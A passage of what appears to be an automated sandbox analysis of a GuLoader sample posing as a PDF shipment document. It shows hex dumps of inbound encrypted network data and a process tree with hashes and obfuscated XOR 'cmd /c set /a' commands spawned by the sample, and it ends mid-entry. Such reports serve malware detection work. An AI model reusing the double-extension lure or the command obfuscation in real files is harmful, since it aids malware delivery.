q8Q,v`Bve@Zsui\l}ITZZgD#:=ac)* 30^w[-:"N'otiYekeU[Cpxq8#E}ui*/d/$]r$Q:l3AP.;`+%gowys.v'FL:2%cffG.cN91(@hNBsev
2022-08-05 09:32:58 UTC	189	IN	Data Raw: 75 9d f3 12 db f6 b1 c8 92 a1 30 b2 ba 0c c7 4c ee ed e4 b6 49 5d db 55 d4 78 d6 e7 3d c9 09 fd 07 48 f7 ce 9c 15 d0 d9 cc 8d 20 f0 63 3f af 37 8a 51 4e 0f 22 4c ff 3b 9a 10 e7 fb a0 e3 21 c6 70 43 fe be 5f 85 e2 7e 40 fe ee 61 36 61 71 1d ce a8 bf 7b 84 b7 08 34 ba aa f6 62 9c f5 e7 59 b8 5a 92 43 3b cb 7c 4b b1 fd 9b bf af ff ee b6 11 d8 85 c7 bb 37 ed bd d2 20 d9 35 41 9d bf cb b7 e2 f3 b9 45 9e 36 49 83 c5 88 f1 02 c9 90 78 7d 0f 75 be ff 22 d9 de 0c a5 de f8 8a 1c a8 14 74 90 a8 64 80 b4 12 28 bd b0 e9 b1 c7 82 01 a4 e8 ef 5d a4 63 89 d1 68 0a ed cb 63 a3 f6 c7 a3 a7 61 2e e6 d7 b8 3d 52 af 52 84 cd b9 7b b9 89 02 53 10 9f 14 fd 18 94 31 6b 95 28 d1 35 90 f7 53 f7 3f c9 55 15 2d 81 68 4f 08 b0 8e 0d 1a f6 18 85 5e 2c 35 9f 74 21 70 0b 04 3a c7 d8 da Data Ascii: u0LI]Ux=H c?7QN"L;!pC_~@a6aq{4bYZC;\|K7 5AE6Ix}u"td(]chca.=RR{S1k(5S?U-hO^,5t!p:
2022-08-05 09:32:58 UTC	190	IN	Data Raw: 90 44 c0 ed cf c3 bc 47 6c 8d 0a 1a 08 9d e7 ba 31 27 a4 e9 ff 75 74 1a 89 27 4e c1 9d de 2b 73 b6 d8 cd 26 03 6a 65 0b 44 41 3d 55 c3 4d 73 d3 6b 69 93 ca 0c b0 88 99 55 9d 1c ee 9e 6e b0 37 1d 92 d6 7f b4 9b 12 d2 50 95 58 a3 81 e5 a4 56 f7 36 c9 5b 6c e0 9e 69 3a 3b 86 b7 14 d2 31 94 5d a9 15 e8 a2 66 81 b7 eb 7f fd f5 d8 7e 90 bb 61 55 49 dc 74 1f 1f 6d 23 3d 18 70 69 12 13 56 05 09 8c d6 cf 35 50 d2 86 78 6a 47 5e 5a d6 4e 68 02 46 87 a2 65 4c 71 6e e3 97 4e d1 47 39 e9 ef 65 ab 5e d7 5e 18 b6 28 9c 66 56 c9 9b 58 42 e0 0a b2 3f f2 dd 49 32 18 8b 11 7b 28 6d c4 e4 43 f1 1d a5 5e 8a 41 a9 99 b4 a1 84 91 5d b0 88 73 d1 64 3f 67 3a e0 9a 01 a1 c8 ed 25 03 14 41 30 fc 4b 12 8e d5 15 18 14 e6 ac 43 58 51 8b 31 fa 56 ec 2f fe b9 77 b4 62 ea 6e f2 eb ad 92 Data Ascii: DGl1'ut'N+s&jeDA=UMskiUn7PXV6[li:;1]f~aUItm#=piV5PxjG^ZNhFeLqnNG9e^^(fVXB?I2{(mC^A]sd?g:%A0KCXQ1V/wbn
2022-08-05 09:32:58 UTC	192	IN	Data Raw: c1 f8 f6 51 32 10 0a 2c 96 d5 a8 ee c3 65 56 42 4c 28 a6 06 dd 72 65 a9 b0 5b cf 18 6e 42 2e 2c 3e 31 a1 63 f3 7a f9 12 7e 83 11 59 82 6b 35 88 aa b7 c8 27 8e 95 a2 e3 0e 0e 92 43 ef a5 b2 0b 5a 66 a0 9c 0b 98 b9 3c fd 11 62 5b 54 87 35 70 ac 54 bb d1 89 9f d0 0a fc f1 77 48 37 91 87 65 f7 4d 6b 36 52 29 0d 1d f5 5a 5b 88 a0 82 ef d8 44 55 69 9f 85 e7 44 44 a7 96 e7 99 ec 6f 03 a5 40 81 a1 03 b6 b6 a6 e5 af ca d3 54 10 4c b0 84 72 a5 7e d5 43 d3 44 0d 55 0c 14 d8 e0 a8 65 2d 48 04 32 0d 15 64 dc d2 76 6e 81 60 89 8e c3 d0 66 80 3d 09 b1 8d 72 de 97 ed 3b 91 58 04 5a 3b ec db 3f d3 c5 b5 f5 cb cc e0 b9 65 7a a7 2d d9 f2 f4 64 ba 22 82 d3 02 52 b2 95 5e a4 4c cd 1c 94 5b 1e b7 0c 94 2b 61 f7 f7 46 17 55 f4 ee 73 59 0a 8c 16 3a 28 6b 73 76 1f 8b 3d d3 78 50 Data Ascii: Q2,eVBL(re[nB.,>1cz~Yk5'CZf<b[T5pTwH7eMk6R)Z[DUiDDo@TLr~CDUe-H2dvn`f=r;XZ;?ez-d"R^L[+aFUsY:(ksv=xP
2022-08-05 09:32:58 UTC	193	IN	Data Raw: 06 3d f6 18 3b 25 20 78 41 04 a8 93 dd b3 27 ca c1 65 ba 55 b0 d9 9e d6 71 09 5c dc d4 e4 70 f8 ab 69 a9 1b bc 35 b0 24 48 64 7d 0e 7f 74 87 2b 02 37 e8 75 7f 3e 1d 93 1d e5 4e da 6f 49 ba 93 b4 a2 a7 ef cb 77 d1 10 4e a7 8d 67 01 12 0b 6d 93 c0 fc bd 41 3b f3 b6 0a 42 ec e3 b4 2d c0 5d 80 f4 8d 4b 7c 24 e1 e2 ed 6e 38 11 35 05 fa 7f 6d 51 94 a0 e1 ce 32 79 e0 c7 0d f3 1b e0 b9 60 cc c8 62 53 78 6a 60 e4 4d 7e c9 fd 60 d6 88 01 b0 55 a9 5e af 11 8d 24 45 3d e0 44 73 ff 4e c2 64 d5 a2 17 09 37 f0 10 6c 77 de 78 f3 7f 53 ba 17 31 c7 e5 41 de e6 f8 e9 c5 b7 a0 c9 1c 66 69 c5 a4 0d 4e fb ea d8 4f b2 d0 4f 45 a9 ca 55 ad 12 2b 33 a8 38 3b 9f 5d 19 aa 57 c3 09 d0 f8 89 ab 21 1b 34 77 00 ff 48 87 99 bc b8 b4 e5 4a 7f 4b ef 1a 2a 40 d9 1a 5e 1f 88 84 cd 5d 05 7b Data Ascii: =;% xA'eUq\pi5$Hd}t+7u>NoIwNgmA;B-]K\|$n85mQ2y`bSxj`M~`U^$E=DsNd7lwxS1AfiNOOEU+38;]W!4wHJK*@^]{
2022-08-05 09:32:58 UTC	194	IN	Data Raw: 2a 81 06 4c 8a 89 06 d5 2a 9b 75 50 bd 4f 1c 9b 1a 0a 97 a4 13 e0 6a 3d b5 8d 33 1a e6 ca e2 9c c1 db 29 4b df c9 a6 dd 82 b6 0f 38 ee 9a da 21 ea 2a a1 69 09 e1 79 47 9b b1 a7 83 01 36 ee 8a cd 84 28 de 0f e7 d8 3d d8 0a 0f 89 1e 0c 09 74 fe 50 dd ad 4a 6c 98 f3 ef 17 c7 84 68 b2 a5 82 50 5d 73 3a cc 58 4f 9e 41 19 92 d2 e2 f6 4d 8d e3 f2 8e c7 61 1f 73 60 94 12 63 59 af 65 71 da be 21 ed 35 e9 2f a2 17 08 b6 19 0f 23 c6 e4 e2 16 79 60 6b 49 4d cf 85 0b 25 e5 5e f5 00 8e 79 e0 23 93 88 de 6b ea cc 58 00 86 3f 16 5d 70 18 27 a6 10 bd 80 b1 6d 41 87 1a 2a b9 2f 24 10 c9 dc a4 b7 da c0 61 37 a6 18 74 ad 1b 77 bf e2 3a 18 43 b4 11 53 f6 33 23 26 95 f3 3c e3 b8 85 86 d1 54 bc 2b 7c 0a c2 08 88 62 9c 14 b2 cc ba bc 7b 67 d1 44 6c 6e 9b 89 3d df d6 87 03 e4 7f Data Ascii: LuPOj=3)K8!iyG6(=tPJlhP]s:XOAMas`cYeq!5/#y`kIM%^y#kX?]p'mA/$a7tw:CS3#&<T+\|b{gDln=
2022-08-05 09:32:58 UTC	195	IN	Data Raw: 67 15 d0 44 a5 f1 00 83 d4 9a 8d bd 85 fe fa 19 62 d3 45 9f df 81 66 44 cd 12 d0 8d 32 16 ab b2 99 6b 9a f3 31 d8 ab 09 d5 f1 96 be 6d fb dc 0e 6f 08 a6 2f cc e6 2f 22 dd 13 90 0b c3 e7 82 a4 b5 35 a5 5a 7e dd 1c e6 7f ba 0f d3 cd 0b d1 d7 a3 76 0f 86 07 92 fa e2 3b d3 ac b5 ef 32 de 37 6c 3f f1 6b 52 d0 db 58 8b 57 78 82 e9 6b b0 d6 80 2d b1 ce 00 14 9e a3 39 16 ab bd 2f de dd c6 e1 3b c6 bb dc 61 b3 ed ac db 65 33 81 8d 61 04 f4 ea b0 48 54 8e ca 59 ab f6 db 72 a3 40 b6 6e 0a 10 c4 fc cb a1 73 b8 4f f9 68 0c 53 b2 30 ba 0f b7 ae 1b 92 a3 b3 f1 38 32 63 80 c5 fd 05 96 5f 87 7f ff 92 a5 48 ad cb 43 9a 48 83 14 59 40 bb dd 41 bc 9f 0c 61 50 5d eb d3 fe 61 aa 4a fd af 99 6b 77 6e 1b 8d 31 fa 42 aa 9e 84 b7 eb 5d e9 a5 df c0 ed 70 2c 34 cd 44 5a 80 3d 7b 70 Data Ascii: gDbEfD2k1mo//"5Z~v;27l?kRXWxk-9/;ae3aHTYr@nsOhS082c_HCHY@AaP]aJkwn1B]p,4DZ={p
2022-08-05 09:32:58 UTC	196	IN	Data Raw: 6d 8c 64 90 e4 94 44 80 47 cc 57 bc 59 04 a0 f0 dc e8 50 b6 90 a9 d5 05 3e 48 00 8f a6 0b f4 4f 48 1f 44 d2 9a 92 e9 65 36 f4 f0 9f 46 34 01 ba aa a7 42 f4 8e 30 ed 0d c7 29 18 c1 e3 08 2f 7a 84 de 0f e8 12 d9 96 bd 2a 8b e1 d1 75 bd bb 11 50 b6 6b 2e 29 df c3 af 18 f9 7e 2a 67 2b 9b 94 af b5 84 7a c0 a0 1f 54 dc 83 0f 84 68 e2 d1 a2 77 43 dc 2c b2 ec 66 c3 63 13 03 2d 51 d6 4a 36 17 19 3e 7d bb 9f a3 b0 65 44 1b 84 10 3c be 14 b1 fa 81 93 49 a8 4a 07 f9 c2 42 8b c0 1a 13 4c f7 f2 bb b2 83 a8 26 4d d9 a2 e7 2c 6b 6b e6 c9 be 6e 2f dd c8 ee df 32 8c 72 ae e4 fa 50 96 6e 07 09 93 17 c0 c8 7c 1e 8b c1 dc fb 35 e1 42 ba ef d6 74 3f 5d 32 b5 49 ee e4 e0 0d 21 85 86 14 96 65 cd d8 72 cd 8b e8 c7 31 d9 0b 29 09 5a 9a 40 b1 38 65 c8 42 aa 1b 6c 89 77 49 f0 d7 ed Data Ascii: mdDGWYP>HOHDe6F4B0)/zuPk.)~g+zThwC,fc-QJ6>}eD<IJBL&M,kkn/2rPn\|5Bt?]2I!er1)Z@8eBlwI
2022-08-05 09:32:58 UTC	197	IN	Data Raw: 86 a0 5b 7f 3e 8d 69 9a a6 55 26 20 74 71 e3 d6 68 cf 6d 7d 2b d2 a0 c0 fb 5a a4 76 75 2a 47 eb 7e 0f d2 08 b0 60 82 7c d5 11 aa b1 2d a0 52 1b 9f 17 37 45 be 87 9d 96 05 13 2a 3a 52 dd 50 e1 2c 20 3f e6 14 2a 7b ea 72 ac 67 fe b4 95 80 e8 ac 9a e5 59 de ba 1e 89 00 ce a5 e0 92 1f fb 7c eb 89 39 03 a2 8b b5 c3 94 9a 83 86 25 ac 46 e7 3b 9c 79 19 0e 13 b8 53 dd 39 7e d5 92 54 b2 b7 f9 bf ac 37 c4 81 d4 72 bb 07 8d bb 27 36 92 42 ca 41 11 4e 95 af 63 20 54 b7 f2 5f d0 ec d6 83 2a ba 92 36 7e f7 a3 60 96 22 58 2b 58 e4 d9 4b 65 35 e0 d3 51 8b bf 70 fd a8 4f 1a 3c fc 1f f6 e4 48 91 58 e1 22 5e 30 03 49 8c 9d 2f 72 73 f3 99 06 17 47 c6 e6 ae 80 6b 6c d6 08 d9 65 11 97 b9 24 c7 54 d3 9e 28 9f 93 c0 3b d1 a4 e1 23 46 96 d2 d6 e3 84 4d 64 10 df 04 cf 55 6b f4 5d Data Ascii: [>iU& tqhm}+ZvuG~`\|-R7E:RP, ?{rgY\|9%F;yS9~T7r'6BANc T_6~`"X+XKe5QpO<HX"^0I/rsGkle$T(;#FMdUk]
2022-08-05 09:32:58 UTC	199	IN	Data Raw: 15 9f 34 bf 4a 2d 48 87 68 f8 02 56 96 b4 08 eb ab b5 15 22 d0 b1 aa 03 22 27 ff 48 e6 d2 77 0e b0 6d 00 49 31 0c b1 d8 f2 5c ae 0e 1d 93 c3 9a ad ae 1f e5 9c fa 49 fc 01 eb eb db 6c fb 66 79 41 e0 c1 71 5e 33 48 3e bd f3 1a 3b 77 bb 54 92 05 77 5a d9 56 e6 35 cf d4 5e bb b2 ec 82 8d 51 bf 45 4d fc fa 91 2b 72 c7 61 8b 0e 80 32 cf a6 78 7a bd 52 41 32 50 25 ec 60 28 12 4f 3d 64 53 3f 6d 28 5a 87 75 aa da d2 a5 f6 b0 dd a2 a3 83 72 37 2d a3 d3 4a 47 2d 38 07 0d 54 3f 4f 3d 10 d5 95 7e c4 05 fa 82 14 ad 7d 27 df e8 94 7d ba ba 67 d6 95 88 42 b8 ad d6 26 2a f6 dc 54 c7 1a 1d 18 82 8a 6e 98 c0 da fa 56 1f 37 42 eb e6 5e c8 b7 71 de 1c 3b ac cc be f4 44 7b 1b a1 31 8c 37 26 1b fa 1a 30 eb 27 61 e8 8c 31 f5 47 63 71 7e 16 5e 76 ce bf 5c 0f a4 31 52 2f c3 aa 2b Data Ascii: 4J-HhV""'HwmI1\IlfyAq^3H>;wTwZV5^QEM+ra2xzRA2P%`(O=dS?m(Zur7-JG-8T?O=~}'}gB&*TnV7B^q;D{17&0'a1Gcq~^v\1R/+
2022-08-05 09:32:58 UTC	200	IN	Data Raw: 93 bd 29 bd 6c 7a 97 21 8a 20 28 33 bd 47 03 89 46 04 53 c7 a1 84 ff 27 04 76 a8 98 69 b5 60 b3 e9 78 f1 02 a7 23 3e a9 d0 4f 1d 35 3f df 8a dc ce ac 12 b0 85 4f a4 c2 40 05 41 be ed 6d b8 8e b4 c8 ce 48 0e a9 a3 82 99 de cc c1 89 48 4c 2a be 16 60 6f 36 2f 12 a8 ce ac f4 16 42 d9 8d fc e2 ea 31 0b 84 62 86 55 89 fe 1a 0e ed 3d 76 5d cb a4 8c 7b a8 34 67 cd ab b6 6d f1 a1 f8 37 43 36 fd 48 05 e3 d8 02 17 19 80 cf 7a 55 b6 e5 bf 9b 86 22 ee 49 53 e3 2e 16 06 9f 16 82 9e 5b 7d fd e1 62 71 49 b2 6e 6b e3 3e 10 c6 ec 0c a4 9b 5a 29 cd 6e de 48 2b aa 9a 28 e3 e0 a7 86 a0 59 e3 c0 e6 eb ab cd 66 91 13 15 f7 b8 5d 87 08 c9 28 a1 cd 02 12 bd ea 6f 49 24 cb ce 88 79 56 b1 9b 3c e5 6e af 03 be 7b fc 1e 15 8a 37 14 c7 51 19 9a 05 f7 f1 33 ae 5a 14 02 20 c2 d4 f6 5b Data Ascii: )lz! (3GFS'vi`x#>O5?O@AmHHL*`o6/B1bU=v]{4gm7C6HzU"IS.[}bqInk>Z)nH+(Yf](oI$yV<n{7Q3Z [
2022-08-05 09:32:58 UTC	201	IN	Data Raw: eb a8 25 29 3c 9b 43 5b 1e 62 a3 fb 00 25 e1 60 7f 04 47 0a f7 23 17 e3 d2 a5 c3 f9 d2 14 87 3a 1d c0 ae eb 38 51 2d 90 b1 95 75 45 df 23 76 70 53 6c 86 63 7b 10 5c c2 7a 87 9b fd ec c3 ff 6b 22 7f 83 4e 76 be b0 37 1e 75 c6 c7 94 02 6c 8e 83 8b 15 14 dc 0a 48 5c 19 c2 e8 8d 08 ba dd fd ff f9 1f 35 d9 83 12 1a ca 55 74 29 76 88 d6 fd b7 90 14 05 77 6a d5 3a f8 a8 89 16 0c f3 c3 a1 12 b8 c4 f0 bb 80 1b c4 50 9d 1a f3 8b 1e 6f 22 df 91 7c 63 41 3f 1f 7d 08 d4 50 0b 1d 3d 2c a0 a8 86 15 ae 64 71 a5 51 5c e0 e5 1b 20 29 59 80 ce 77 6a d0 b8 96 37 64 2a 3e a3 4f 43 44 b3 7f 5d bf 1d ab 86 b6 7c b8 bd 63 12 53 26 d9 c4 f6 bc de 42 c9 3b 67 6d c7 a3 1c b9 c8 a3 9b ab 85 ef 81 82 d6 e3 53 bf a8 9d 55 ef cd 80 90 ef 9f 1b 68 b4 06 05 ed 3f 28 08 96 4b ed 6d da ee Data Ascii: %)<C[b%`G#:8Q-uE#vpSlc{\zk"Nv7ulH\5Ut)vwj:Po"\|cA?}P=,dqQ\ )Ywj7d*>OCD]\|cS&B;gmSUh?(Km
2022-08-05 09:32:58 UTC	203	IN	Data Raw: b5 de 1b 5a 32 ce 8b 98 8b f6 5e 83 64 20 81 7c 35 ed c1 b5 f0 2d 42 59 18 90 c6 d6 f7 ba 97 09 03 9f 21 3b 08 67 53 d6 8d 91 20 56 3f 03 24 41 7a d2 38 b2 1e 15 60 b1 48 6c aa 4c d2 8e e6 78 36 fb c2 b4 bb f0 66 42 d7 8e bc 10 70 7b ab d7 fc 9c bd 7b 3f 25 9c e0 62 bd d5 68 27 09 6b ed 74 b4 e3 43 82 f3 b8 49 f3 70 ce 94 fc ee 88 b4 4e 92 01 63 3d 19 4d 26 28 c1 b6 51 5c 38 92 05 6c f4 56 67 67 b4 b5 7d 57 f8 18 54 8d 15 8f 92 c0 86 e0 64 5f 24 fb d4 61 39 09 f4 41 0b e0 f8 2a d0 2b 82 2b e9 81 f9 69 9a 7d d5 f5 6e 1c 76 0c 30 f0 bb b0 cd ac 57 91 f2 4c 47 27 f1 78 a8 e4 29 9c d9 9f 36 a0 04 2a d3 d4 be 8b 1b d1 92 63 3a ef ce 25 20 fc 85 ec db d7 1a 13 d0 45 b7 6d 11 42 35 79 35 0b d7 44 7d b5 f9 5e 99 7c c4 f9 3a 0d 84 87 07 b7 b3 ef 4b 6c 30 24 65 42 Data Ascii: Z2^d \|5-BY!;gS V?$Az8`HlLx6fBp{{?%bh'ktCIpNc=M&(Q\8lVgg}WTd_$a9A++i}nv0WLG'x)6c:% EmB5y5D}^\|:Kl0$eB
2022-08-05 09:32:58 UTC	204	IN	Data Raw: 79 f9 26 0e 75 31 69 9c 98 77 27 b1 c7 d9 67 83 72 53 bc cf 87 0f 3e 26 d6 81 63 e6 ee 1b 52 fb d6 05 1e 87 a9 90 e6 b7 85 ef 55 42 98 07 71 33 38 d0 b5 47 18 a2 64 dd 3c 68 8d 03 2f b1 a6 18 38 a8 84 a7 79 01 14 6c bc 11 19 3d f1 05 3e 05 71 08 3b c2 e9 99 42 05 90 b3 07 2d 3f 61 ae 28 7c aa 44 c0 0d 13 18 b1 82 ae b4 0a b0 40 11 c4 3a d2 ef 16 b0 c9 64 f3 f5 93 55 33 f4 a8 91 76 5d 64 95 47 90 5d fe 4c 74 cd bf b2 2b 4d 4b 35 dd 3c f6 d2 66 8c a5 57 e7 f2 35 0d 79 96 82 9c 40 15 8c 8d 67 3a 49 cf 35 a5 36 ee 0a 37 9e c6 cb 7d 00 99 d3 1c c1 1a 76 e3 3c b6 c0 ff 44 74 78 c2 a6 94 cf 84 cc f1 58 ef 3f 7f e4 00 a6 82 04 3a 45 f9 b5 af 09 9d d0 91 6b e5 7b 4e 86 9a db 3d af 53 35 2c a1 32 54 56 ca e3 69 6c bd d8 ad d0 2f 87 ad 9d 26 66 d9 31 78 6f 7e 3d b7 Data Ascii: y&u1iw'grS>&cRUBq38Gd<h/8yl=>q;B-?a(\|D@:dU3v]dG]Lt+MK5<fW5y@g:I567}v<DtxX?:Ek{N=S5,2TVil/&f1xo~=
2022-08-05 09:32:58 UTC	205	IN	Data Raw: 2f cf 12 dc 65 0e 1c 4b 37 c9 28 25 26 f3 e9 6c 65 98 c0 ac 93 87 13 97 cc 06 68 ae 62 65 6d f2 25 7d 78 05 92 b5 68 20 2a de 6b 9e da 95 d5 b0 41 4d e3 69 dd 8e 2d 26 10 e3 7e 6a 31 65 8c 6b 0b ce 4f 44 43 13 34 4c d7 53 c3 ce c5 e7 9b 5d 22 13 48 b1 d1 de b5 84 35 60 54 9c ea a1 b2 ca 4b 02 47 8e 51 13 0d d8 b8 3c 21 5f 3f 2f a6 0f e3 81 3c 42 87 0a ef a3 1a 24 dd a0 d4 65 db 5f c2 fb 42 bc 94 ba ff 4b 19 55 f6 b0 38 19 5a 8d f4 38 b3 c1 1e 48 21 f7 c8 f6 d0 ee 50 af 77 a1 2b 16 25 9a 93 04 7f c0 1c fd 44 47 4f a2 bd ba 23 f3 9e 20 c7 64 43 a5 c6 df c4 5c fc 7f 49 86 e4 6d a3 4a c3 9f ba a3 8d f4 2a ee 4f 12 95 ae f4 38 d5 61 5b 31 b0 47 86 74 e6 e8 84 d9 be fa 2a ac 06 de 75 5c 21 f7 b5 22 2e 69 ba 2a c1 a7 53 b2 72 63 d3 f7 30 10 2a e6 73 9c 2e 1d cb Data Ascii: /eK7(%&lehbem%}xh kAMi-&~j1ekODC4LS]"H5`TKGQ<!_?/<B$e_BKU8Z8H!Pw+%DGO# dC\ImJO8a[1Gtu\!".iSrc0*s.
2022-08-05 09:32:58 UTC	206	IN	Data Raw: e6 82 0c 63 d5 64 30 81 4c 4c b4 92 56 a8 53 e4 fb e5 53 79 98 5a 56 77 c5 ae e2 7d 13 82 b7 57 05 17 9d bd 46 75 ea 0c d8 8e ad 31 14 b6 29 dc 00 3a 23 99 fd c5 1a 66 d6 d4 ea 1c 14 14 80 5b 49 3d a2 e2 c8 26 e4 06 af 3e 3c 0f 30 40 ad 3a d1 81 ed 4a 54 af 59 0b c7 a8 e2 bf 2d e6 be 8d 9b a9 c1 d1 a2 ca 87 0d cd e1 f6 ed 6d 8b 05 54 0c fd a1 83 9b 83 67 79 1f 6f f9 27 3d e9 28 64 f6 3e 73 58 05 d0 af 14 f8 cf b9 6b 62 1f a6 21 73 0d d5 4a 84 5a 56 cb 21 65 77 22 af fe a1 24 b5 bc af bb 80 16 76 ce 30 6c f8 25 9f e1 8a 39 47 ec d9 b7 f6 23 b4 d8 e6 84 c6 c3 ff 49 23 fc c8 9b 45 8a 87 8f 3d 36 2b 75 1a 29 d4 55 7b b8 ba 2c 93 b3 b4 f8 db 47 33 b4 10 97 2f 02 80 40 de f1 4e 2a 8d 10 46 73 73 ba d9 c7 14 a4 81 f3 0d ad d2 ed cd 1d a4 ad 5b 61 da 91 d7 2d aa Data Ascii: cd0LLVSSyZVw}WFu1):#f[I=&><0@:JTY-mTgyo'=(d>sXkb!sJZV!ew"$v0l%9G#I#E=6+u)U{,G3/@N*Fss[a-
2022-08-05 09:32:58 UTC	208	IN	Data Raw: 31 21 ae 55 51 71 e6 4e 82 28 89 3a 06 5a 8d f3 3f cc 41 69 f6 2b c5 ae 96 bb 7a 71 a2 9a c5 7a 43 32 5e 60 83 a3 c7 7f d6 7b 6d 68 c5 1a c8 80 a7 1f 82 02 ba a7 d5 e6 1d 52 ba 07 ab 17 f8 f4 fb 56 48 17 93 9f eb 8a 60 0e e8 91 2a ac 62 16 90 8c 4d 41 5d 91 9d ff 1a 80 dd 58 1c 7e 7e a4 1d c2 5c cf a2 33 bb 51 c7 e3 8e 8f 61 b1 4b 77 15 96 4c 65 ad 3a 63 43 ab bd dd b4 a3 d7 64 36 51 15 b9 0e 17 aa 51 f6 e1 d0 90 08 6e f4 96 96 99 78 b8 14 3e 45 ee 58 c4 ae 39 e6 f2 b5 34 ac df 7b b1 3e ff bc 43 0c b6 83 fc 80 23 cf 0c 39 f7 d7 83 00 84 57 16 95 e9 68 dd 8a 16 82 d0 4d 01 40 8e 9a 9f 28 b4 1c 28 24 73 df 8a 56 56 83 af 5f 47 4f 29 b0 34 c9 2c 86 78 06 15 3f 7d a2 63 12 e5 74 2f 92 59 c8 b7 cf 1e c9 8d f4 09 28 eb 44 20 3a 4c 84 d4 0f 0f 3e b1 99 8d 1f 8d Data Ascii: 1!UQqN(:Z?Ai+zqzC2^`{mhRVH`*bMA]X~~\3QaKwLe:cCd6QQnx>EX94{>C#9WhM@(($sVV_GO)4,x?}ct/Y(D :L>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Original Shipment_Document.PDF.exePID: 2660, Parent PID: 4756

General

Target ID:	1
Start time:	11:32:15
Start date:	05/08/2022
Path:	C:\Users\user\Desktop\Original Shipment_Document.PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Original Shipment_Document.PDF.exe"
Imagebase:	0x400000
File size:	341696 bytes
MD5 hash:	626CDEAA4696C819FD07921073F6C740
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6136, Parent PID: 2660

General

Target ID:	3
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x721C070B^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6268, Parent PID: 6136

General

Target ID:	4
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 2128, Parent PID: 2660

General

Target ID:	5
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x7C156677^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6680, Parent PID: 2128

General

Target ID:	6
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5048, Parent PID: 2660

General

Target ID:	7
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x03631637^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 4308, Parent PID: 5048

General

Target ID:	8
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 2836, Parent PID: 2660

General

Target ID:	9
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x5C382120^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 2084, Parent PID: 2836

General

Target ID:	10
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4988, Parent PID: 2660

General

Target ID:	11
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x7F303920^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 1692, Parent PID: 4988

General

Target ID:	12
Start time:	11:32:17
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
